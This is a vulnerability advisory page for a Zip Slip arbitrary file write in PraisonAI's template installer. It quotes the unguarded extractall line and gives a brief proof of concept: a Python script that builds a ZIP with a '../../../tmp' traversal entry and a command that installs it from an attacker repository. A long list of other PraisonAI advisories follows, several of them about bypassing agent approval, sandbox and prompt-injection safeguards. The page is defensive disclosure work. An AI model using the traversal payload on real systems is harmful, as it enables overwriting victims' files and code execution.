Sign in
Deutsch English Español Polski
High

PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction

  • Disclosed: 06.04.2026
  • Updated: 11.10.2026 14:17

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)

Vulnerable Code snippet:

python
zip_ref.extractall(tmpdir)

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

  1. Generate a malicious zip payload:
python
import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    # Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')
  1. Trick a user into installing the malicious template:
bash
praisonai templates install github:attacker/malicious_template
  1. Observe the zip_slip_pwned.txt file created in /tmp/ on the victim's machine.

Impact

This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.5.113 4.5.113

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Weakness (CWE)
CWE-22, CWE-23
Platform
Python (PyPI)
Package
praisonai
Disclosed
06.04.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2899 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-4ph2-f6pf-79wv - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

Severity:
  1. PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction this entry
    High · 8.1 CVE-2026-39307 < 4.5.113 4.5.113
  2. PraisonAI: Shell command allowlist bypass via find -exec built-in action
    High · 8.8 CVE-2026-61434 < 4.6.78 4.6.78
  3. PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls
    Critical · 9.9 CVE-2026-61445 < 4.6.78 4.6.78
  4. PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface
    High · 7.3 CVE-2026-61427 < 4.6.78 4.6.78
  5. PraisonAI: SecurityPolicy command/path/import restrictions are completely unenforced by the default SubprocessSandbox backend
    High CVE-2026-60085 < 4.6.78 4.6.78
  6. PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF
    High · 7.2 CVE-2026-60091 < 4.6.78 4.6.78
  7. PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
    High · 7.8 CVE-2026-61433 < 4.6.78 4.6.78
  8. PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
    High · 8.2 CVE-2026-61435 < 4.6.78 4.6.78
  9. PraisonAI: Prompt Injection Defense Bypassed for HIGH-Level Threats
    High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  10. PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation
    Critical · 9.1 CVE-2026-61444 < 4.6.78 4.6.78
  11. PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
    High · 8.6 CVE-2026-61436 < 4.6.78 4.6.78
  12. PraisonAI: AgentMail webhook lacks signature verification, allowing unauthenticated message injection and sender spoofing
    High · 7.3 CVE-2026-61428 < 4.6.78 4.6.78
  13. PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
    Critical · 9.1 CVE-2026-55536 < 4.6.58 4.6.58
  14. PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
    High · 7.6 CVE-2026-55532 < 4.6.58 4.6.58
  15. PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
    High · 8.2 CVE-2026-55533 < 4.6.58 4.6.58
  16. PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
    High · 8.6 CVE-2026-55539 < 4.6.58 4.6.58
  17. PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
    High CVE-2026-55541 < 4.6.58 4.6.58
  18. PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
    High · 7.1 CVE-2026-55537 < 4.6.58 4.6.58
  19. PraisonAI: [Auth Bypass] `praisonai serve agents --api-key` is silently ignored — agent-invocation routes (`POST /agents`, `POST /agents/{agent_name}`) run unauthenticated
    High · 7.3 CVE-2026-55538 < 4.6.58 4.6.58
  20. PraisonAI: [Path Traversal] agent tools escape the configured workspace via symlinks
    High · 7.1 CVE-2026-55540 < 4.6.58 4.6.58
  21. PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution
    High · 8.6 CVE-2026-55534 >= 4.6.34, < 4.6.58 4.6.58
  22. PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
    High · 7.8 CVE-2026-55522 >= 3.9.26, < 4.6.58 4.6.58
  23. PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable
    High · 8.8 CVE-2026-57144 >= 4.5.110, < 4.6.61 4.6.61
  24. PraisonAI: PRAISONAI_CALL_AUTH=disabled environment variable unconditionally disables authentication
    High · 8.2 CVE-2026-57132 < 4.6.61 4.6.61
  25. PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation
    Critical · 9.1 CVE-2026-57145 < 4.6.61 4.6.61
  26. PraisonAI A2U incomplete authentication fix leaves current serve command unauthenticated by default
    High · 7.5 CVE-2026-57146 >= 4.5.115, < 4.6.61 4.6.61
  27. PraisonAI recipe workflow policy can be bypassed by declaring and YAML-approving dangerous tools outside TEMPLATE.yaml
    High · 7.8 CVE-2026-57142 >= 4.5.87, < 4.6.61 4.6.61
  28. PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion
    High · 8.1 CVE-2026-57113 >= 2.6.0, < 4.6.59 4.6.59
  29. PraisonAI Code agent tools fail open without a workspace boundary
    High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  30. PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai
    Critical · 9.8 CVE-2026-57124 < 4.6.59 4.6.59
  31. PraisonAI: Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)
    High · 8.6 CVE-2026-57122 < 4.6.59 4.6.59
  32. PraisonAI: AgentOS remains unauthenticated after incomplete fix version and allows remote agent invocation
    Critical · 9.8 CVE-2026-57116 >= 4.2.1, < 4.6.59 4.6.59
  33. PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding
    High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  34. PraisonAI: Jobs API exposes agent-execution endpoints with no authentication
    Critical · 9.8 CVE-2026-57131 < 4.6.59 4.6.59
  35. praisonai: recipe serve auth middleware silently disables itself when no secret is set
    Critical · 9.8 CVE-2026-57127 < 4.6.59 4.6.59
  36. PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass
    Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  37. PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API
    High · 7.5 CVE-2026-57119 < 4.6.59 4.6.59
  38. PraisonAI: Compute-bridged file tools allow shell command injection
    High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  39. PraisonAI recipe.run_stream skips dangerous-tool policy enforcement
    High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  40. PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
    High · 8.8 CVE-2026-56840 >= 4.5.2, < 4.6.59 4.6.59
  41. PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing
    High · 8.6 CVE-2026-56837 >= 4.6.56, < 4.6.59 4.6.59
  42. PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage
    High · 7.5 CVE-2026-56834 >= 3.8.1, < 4.6.59 4.6.59
  43. PraisonAI Slack app_mention bypasses configured user/channel authorization
    High · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  44. PraisonAI recipe serve Typer command bypasses the non-localhost authentication guard
    High · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  45. PraisonAI ToolsMCPServer legacy SSE transport accepts attacker Host/Origin and exposes registered tools
    High · 8.3 CVE-2026-57112 >= 3.10.0, < 4.6.59 4.6.59
  46. PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal
    High · 7.5 CVE-2026-56833 >= 3.8.1, < 4.6.59 4.6.59
  47. PraisonAI DiscordApproval accepts unrelated channel messages as dangerous-tool approvals
    High · 8.8 CVE-2026-56832 >= 4.5.2, < 4.6.59 4.6.59
  48. PraisonAI has an Arbitrary File Write in Python API
    High CVE-2026-47397 < 4.6.40 4.6.40
  49. PraisonAI's unauthenticated A2A official example can reach real LLM-driven `eval()` tool execution
    Critical · 9.8 CVE-2026-47391 < 4.6.40 4.6.40
  50. PraisonAI vulnerable to unauthenticated arbitrary file read via MCP workflow.show, workflow.validate, deploy.validate
    High CVE-2026-47394 < 4.6.40 4.6.40
  51. PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)
    Critical · 9.9 CVE-2026-47392 < 4.6.40 4.6.40
  52. PraisonAI `deploy --type api` emits a Flask server with authentication disabled by default
    Critical · 9.8 CVE-2026-47393 < 4.6.40 4.6.40
  53. PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset
    Critical · 9.8 CVE-2026-47396 < 4.6.40 4.6.40
  54. PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334
    High · 8.1 CVE-2026-47398 < 4.6.40 4.6.40
  55. PraisonAI's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`
    High · 7.5 CVE-2026-44340 < 4.6.37 4.6.37
  56. PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute
    High · 8.6 CVE-2026-44339 < 4.6.37 4.6.37
  57. PraisonAI MCP `tools/call` path-traversal => RCE via Python `.pth` injection
    Critical · 9.6 CVE-2026-44336 < 4.6.34 4.6.34
  58. PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution
    High · 7.3 CVE-2026-44338 >= 2.5.6, < 4.6.34 4.6.34
  59. PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)
    High · 8.4 CVE-2026-44334 >= 4.5.139, < 4.6.32 4.6.32
  60. PraisonAI: SQL Injection via unvalidated `table_prefix` in 9 conversation store backends (incomplete fix for CVE-2026-40315)
    High · 8.1 CVE-2026-41496 < 4.5.149 4.5.149
  61. PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection
    Critical · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  62. PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions
    Critical · 9.1 CVE-2026-40289 < 4.5.139 4.5.139
  63. PraisonAI has critical RCE via `type: job` workflow YAML
    Critical · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  64. PraisonAI Vulnerable to RCE via Automatic tools.py Import
    High · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  65. PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API
    High · 7.2 CVE-2026-40114 < 4.5.128 4.5.128
  66. PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`
    Critical CVE-2026-40157 >= 2.7.2, < 4.5.128 4.5.128
  67. PraisonAI Vulnerable to Implicit Execution of Arbitrary Code via Automatic `tools.py` Loading
    High · 7.8 CVE-2026-40156 < 4.5.128 4.5.128
  68. PraisonAI Vulnerable Untrusted Remote Template Code Execution
    Critical · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  69. PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution
    High · 8.8 CVE-2026-56075 < 4.5.128 4.5.128
  70. PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure
    High · 8.6 CVE-2026-40158 < 4.5.128 4.5.128
  71. PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
    High · 7.9 CVE-2026-40149 < 4.5.128 4.5.128
  72. PraisonAI: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits
    High · 7.5 CVE-2026-40116 < 4.5.128 4.5.128
  73. PraisonAI Vulnerable to Argument Injection into Cloud Run Environment Variables via Unsanitized Comma in gcloud --set-env-vars
    High · 8.4 CVE-2026-40113 < 4.5.128 4.5.128
  74. PraisonAI Vulnerable to OS Command Injection
    Critical · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  75. PraisonAI has Template Injection in Agent Tool Definitions
    High · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  76. PraisonAI Has Unauthenticated SSE Event Stream that Exposes All Agent Activity in A2U Server
    High · 7.5 CVE-2026-39889 < 4.5.115 4.5.115
  77. PraisonAI Vulnerable to Remote Code Execution via YAML Deserialization in Agent Definition Loading
    Critical · 9.8 CVE-2026-39890 < 4.5.115 4.5.115
  78. PraisonAI Has Path Traversal in FileTools
    Critical CVE-2026-35615 < 1.5.113 1.5.113
  79. PraisonAI recipe registry publish path traversal allows out-of-root file write
    High · 7.1 CVE-2026-39308 < 4.5.113 4.5.113
  80. PraisonAI recipe registry pull path traversal writes files outside the chosen output directory
    High · 7.3 CVE-2026-39306 < 4.5.113 4.5.113
  81. PraisonAI Vulnerable to Arbitrary File Write / Path Traversal in Action Orchestrator
    Critical · 9.0 CVE-2026-39305 < 4.5.113 4.5.113
Show more (6) Showing 81 of 87

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.